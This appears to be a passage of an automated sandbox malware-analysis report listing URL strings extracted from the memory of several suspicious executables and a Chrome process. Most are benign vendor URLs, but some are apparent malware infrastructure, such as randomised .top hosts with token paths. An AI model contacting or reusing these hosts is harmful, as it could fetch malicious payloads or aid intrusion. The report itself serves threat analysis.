Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 39c228201d.exe, 00000011.00000003.2894979822.0000000005490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 39c228201d.exe, 00000011.00000003.2894979822.0000000005490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000013.00000002.3169631701.00007D0C00654000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: 39c228201d.exe, 00000011.00000003.2926800686.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2931047542.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2929647765.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2895531837.0000000000C7A000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2925334909.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2932348064.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2867578340.0000000000C7A000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2831379968.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2927917560.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2932666054.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2930310720.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2927608938.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2925662354.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2930694499.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2932929657.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2927217606.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2931511193.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2932087916.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2928330651.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2808577449.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2924033505.0000000000C7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mH.
Source: 39c228201d.exe, 00000014.00000002.3276938516.00000000014CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: 39c228201d.exe, 00000011.00000003.2894979822.0000000005490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 39c228201d.exe, 00000011.00000003.2894979822.0000000005490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 39c228201d.exe, 00000011.00000003.2894979822.0000000005490000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 39c228201d.exe, 00000011.00000003.2894979822.0000000005490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 39c228201d.exe, 00000011.00000003.2894979822.0000000005490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: chrome.exe, 00000013.00000002.3163103770.00007D0C00134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.chrome.com/extensions/external_extensions.html)
Source: chrome.exe, 00000013.00000002.3161394670.00007D0C0005F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr17
Source: bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr1732768478
Source: bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr1732768478http://home.fvtekx5pt.top/RrlNvinfLqYZQoxgCh
Source: 67d914dff5.exe, 0000000D.00000003.2489607005.0000000007579000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentykx20pt.top/bugEWhhZIPIipxajeFf736
Source: 67d914dff5.exe, 0000000D.00000003.2489607005.0000000007579000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000003.2706867228.00000000078DE000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000013.00000003.2923982554.00007D0C00F44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923574427.00007D0C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2924712128.00007D0C01044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923861414.00007D0C0101C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: 39c228201d.exe, 00000011.00000003.2894979822.0000000005490000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 39c228201d.exe, 00000011.00000003.2894979822.0000000005490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chrome.exe, 00000013.00000003.2925259658.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2926155602.00007D0C010F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925792947.00007D0C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167178718.00007D0C00488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923947069.00007D0C01078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923982554.00007D0C00F44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925442385.00007D0C00F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923574427.00007D0C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3177863723.00007D0C0094F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925325168.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2926507014.00007D0C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2924712128.00007D0C01044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925211231.00007D0C00C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923861414.00007D0C0101C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000013.00000003.2925259658.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2926155602.00007D0C010F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925792947.00007D0C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167178718.00007D0C00488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923947069.00007D0C01078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923982554.00007D0C00F44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925442385.00007D0C00F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923574427.00007D0C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3177863723.00007D0C0094F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925325168.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2926507014.00007D0C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2924712128.00007D0C01044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925211231.00007D0C00C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923861414.00007D0C0101C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000013.00000003.2925259658.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2926155602.00007D0C010F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925792947.00007D0C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167178718.00007D0C00488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923947069.00007D0C01078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923982554.00007D0C00F44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925442385.00007D0C00F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923574427.00007D0C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3177863723.00007D0C0094F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925325168.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2926507014.00007D0C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2924712128.00007D0C01044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925211231.00007D0C00C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923861414.00007D0C0101C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000013.00000003.2925259658.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2926155602.00007D0C010F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925792947.00007D0C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167178718.00007D0C00488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923947069.00007D0C01078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923982554.00007D0C00F44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925442385.00007D0C00F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923574427.00007D0C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3177863723.00007D0C0094F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925325168.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2926507014.00007D0C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2924712128.00007D0C01044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925211231.00007D0C00C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923861414.00007D0C0101C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000013.00000002.3179831419.00007D0C009A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 00000013.00000002.3179243559.00007D0C00988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 00000013.00000002.3179243559.00007D0C00988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/a
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: chrome.exe, 00000013.00000002.3180063988.00007D0C00A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: file.exe, file.exe, 00000000.00000002.2154389102.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2153861800.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2147868752.000000001D495000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 39c228201d.exe, 00000011.00000003.2894979822.0000000005490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 39c228201d.exe, 00000011.00000003.2894979822.0000000005490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 39c228201d.exe, 00000011.00000003.2831765157.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2831892590.0000000005499000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186101163.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2918464134.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2922124317.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000013.00000002.3162622369.00007D0C0008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000013.00000002.3167081288.00007D0C0041C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000013.00000002.3086512851.00007D0C0001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000013.00000002.3184264492.00007D0C00B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo?source=ChromiumBrowser
Source: chrome.exe, 00000013.00000002.3179831419.00007D0C009A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout1
Source: chrome.exe, 00000013.00000002.3184264492.00007D0C00B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout?source=ChromiumBrowser&continue=https://accounts.google.com/chrom
Source: chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000013.00000002.3180189785.00007D0C00A6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin?source=ChromiumBrowser&issueuberauth=1
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000013.00000002.3162773355.00007D0C000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000013.00000002.3162773355.00007D0C000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000013.00000002.3162773355.00007D0C000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000013.00000002.3162622369.00007D0C0008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revokee.com
